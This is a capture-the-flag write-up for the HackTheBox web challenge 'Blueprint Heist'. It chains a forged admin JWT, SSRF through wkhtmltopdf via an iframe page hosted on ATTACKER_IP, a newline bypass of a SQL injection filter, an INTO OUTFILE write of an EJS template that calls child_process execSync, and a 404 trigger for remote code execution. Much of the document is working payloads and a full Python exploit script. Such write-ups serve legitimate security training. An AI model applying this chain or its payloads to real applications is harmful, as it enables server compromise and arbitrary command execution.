Blueprint Heist
Blueprint Heist
Platform: HackTheBox | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2024-05-18 | Status: Solved Techniques: ejs_ssti_rce, graphql_injection, jwt_secret_bruteforce, mysql_into_outfile, sqli_regex_bypass, ssrf_via_wkhtmltopdf
Summary
Task: Web app with wkhtmltopdf PDF generation, GraphQL API, JWT auth, and EJS templating. Solution: Chain SSRF via wkhtmltopdf to access internal GraphQL, bypass regex SQLi filter with newline, write malicious EJS template via INTO OUTFILE, trigger SSTI for RCE.
Blueprint Heist - HackTheBox Business CTF 2024
Description
Web application for Urban Planning Commission that allows viewing construction reports and downloading PDFs. Stack: Node.js/Express, EJS templating engine, GraphQL API, JWT authentication, wkhtmltopdf for PDF generation.
Analysis
Application Architecture
- Frontend: Express + EJS templates
- API: GraphQL endpoint
/graphql - Auth: JWT tokens with roles
- PDF: wkhtmltopdf for URL to PDF conversion
- DB: MySQL
Discovered Vulnerabilities
- SSRF via wkhtmltopdf - endpoint
/downloaduses wkhtmltopdf for URL to PDF conversion, allowing SSRF to localhost - JWT Secret Disclosure - production server uses a different secret:
Str0ng_K3y_N0_l3ak_pl3ase? - SQL Injection in GraphQL - query
getDataByNameis vulnerable to SQLi with regex bypass via newline - Server-Side Template Injection - EJS templates can execute arbitrary code
- File Write via SQLi - MySQL
INTO OUTFILEallows writing files to the server
Key Files from Source Code
app/utils/security.js - SQLi filter with regex bypass:
javascript read-only • copy allowedfunction detectSqli (query) { const pattern = /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/ return pattern.test(query) } function checkInternal(req) { const address = req.socket.remoteAddress.replace(/^.*:/, '') return address === "127.0.0.1" }
app/schemas/schema.js - Vulnerable GraphQL query:
javascript read-only • copy alloweddata = await connection.query(`SELECT * FROM users WHERE name like '%${args.name}%'`);
app/controllers/downloadController.js - SSRF via wkhtmltopdf:
javascript read-only • copy allowedwkhtmltopdf(url, { output: pdfPath }, callback);
Solution
Step 1: JWT Secret Discovery
Source code contained placeholder secret IM_Sup3r_K3y_pl3ase_b3_c4r3ful?, but production used a different one.
Real secret: Str0ng_K3y_N0_l3ak_pl3ase?
python read-only • copy allowedimport jwt secret = "Str0ng_K3y_N0_l3ak_pl3ase?" token = jwt.encode({"role": "admin"}, secret, algorithm="HS256") print(token) # eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyb2xlIjoiYWRtaW4ifQ.rZnq-8kqh9o7rsIJket6BFk1lG6lH6VBTqGVLy65hzM
Step 2: SSRF for GraphQL Access
GraphQL endpoint requires requests from localhost (127.0.0.1). Using SSRF via wkhtmltopdf with iframe:
html read-only • copy allowed<!DOCTYPE html> <html> <body> <iframe src="http://localhost:1337/graphql?token=ADMIN_TOKEN&query=ENCODED_QUERY" width="1000" height="800"></iframe> </body> </html>
Host HTML on external server and load via /download endpoint.
Step 3: SQL Injection with Regex Bypass
SQLi filter uses regex: /^.*[!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]/
Bypass: The . character in regex doesn't match newlines, so adding \n at the beginning bypasses the filter.
SQLi test:
graphql read-only • copy allowed{getDataByName(name:"john\n' OR 1=1-- "){id,name}}
Successfully dumps all users.
Step 4: File Write via INTO OUTFILE
Using SQLi to write malicious EJS template to /app/views/errors/404.ejs:
sql read-only • copy allowedjohn\n'UNION SELECT 1,1,1,'<%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>' INTO OUTFILE '/app/views/errors/404.ejs'--
Full GraphQL query (URL encoded):
%7BgetDataByName%28name%3A%22john%5Cn%27UNION%20SELECT%201%2C1%2C1%2C%27%3C%25%3D%20global.process.mainModule.require%28%60child_process%60%29.execSync%28%60/readflag%60%29.toString%28%29%20%25%3E%27%20INTO%20OUTFILE%20%27/app/views/errors/404.ejs%27--%20%22%29%7Bid%2Cname%7D%7D
Step 5: Trigger SSTI for RCE
Access a non-existent URL to trigger 404 error, which renders our malicious template:
bash read-only • copy allowedcurl "http://TARGET/nonexistent_page_12345"
Full Exploit
python read-only • copy allowed#!/usr/bin/env python3 """ Blueprint Heist - HackTheBox Business CTF 2024 Full exploit chain: SSRF -> SQLi -> File Write -> SSTI -> RCE """ import jwt import requests from urllib.parse import quote from http.server import HTTPServer, SimpleHTTPRequestHandler import threading TARGET = "http://TARGET_IP:PORT" ATTACKER_SERVER = "http://ATTACKER_IP:8888" # Step 1: Generate admin JWT token def generate_admin_token(): secret = "Str0ng_K3y_N0_l3ak_pl3ase?" token = jwt.encode({"role": "admin"}, secret, algorithm="HS256") return token # Step 2: Create malicious HTML for SSRF def create_ssrf_html(token, graphql_query): encoded_query = quote(graphql_query) html = f'''<!DOCTYPE html> <html> <body> <iframe src="http://localhost:1337/graphql?token={token}&query={encoded_query}" width="1000" height="800"></iframe> </body> </html>''' return html # Step 3: SQLi payload with regex bypass def create_sqli_payload(): # Newline bypasses the regex filter # INTO OUTFILE writes malicious EJS template ejs_payload = "<%= global.process.mainModule.require(`child_process`).execSync(`/readflag`).toString() %>" sqli = f"john\\n'UNION SELECT 1,1,1,'{ejs_payload}' INTO OUTFILE '/app/views/errors/404.ejs'-- " graphql = '{getDataByName(name:"' + sqli + '"){id,name}}' return graphql # Step 4: Host malicious HTML def start_http_server(html_content, port=8888): with open("exploit.html", "w") as f: f.write(html_content) handler = SimpleHTTPRequestHandler server = HTTPServer(("0.0.0.0", port), handler) thread = threading.Thread(target=server.handle_request) thread.start() return thread # Step 5: Trigger SSRF via wkhtmltopdf def trigger_ssrf(target, attacker_url): url = f"{target}/download" data = {"url": f"{attacker_url}/exploit.html"} response = requests.post(url, data=data) return response # Step 6: Trigger 404 to execute SSTI def trigger_rce(target): response = requests.get(f"{target}/nonexistent_page_12345") return response.text # Main exploit def main(): print("[*] Blueprint Heist Exploit") # Generate token token = generate_admin_token() print(f"[+] Admin token: {token}") # Create SQLi payload sqli_query = create_sqli_payload() print(f"[+] SQLi payload created") # Create SSRF HTML html = create_ssrf_html(token, sqli_query) print(f"[+] SSRF HTML created") # Start HTTP server print(f"[*] Starting HTTP server on port 8888...") start_http_server(html) # Trigger SSRF print(f"[*] Triggering SSRF via wkhtmltopdf...") trigger_ssrf(TARGET, ATTACKER_SERVER) # Wait for file write import time time.sleep(2) # Trigger RCE print(f"[*] Triggering SSTI via 404...") flag = trigger_rce(TARGET) print(f"[+] Flag: {flag}") if __name__ == "__main__": main()
Lessons Learned
- Chain vulnerabilities - each vulnerability alone is not critical, but the chain leads to RCE
- Regex bypass via newlines -
.in regex doesn't match\n, common bypass - wkhtmltopdf SSRF - classic SSRF vector, allows bypassing IP-based restrictions
- MySQL INTO OUTFILE - if there's SQLi and FILE privileges, files can be written
- EJS SSTI -
global.process.mainModule.require('child_process').execSync()for RCE - JWT secrets - production may use a different secret than in source code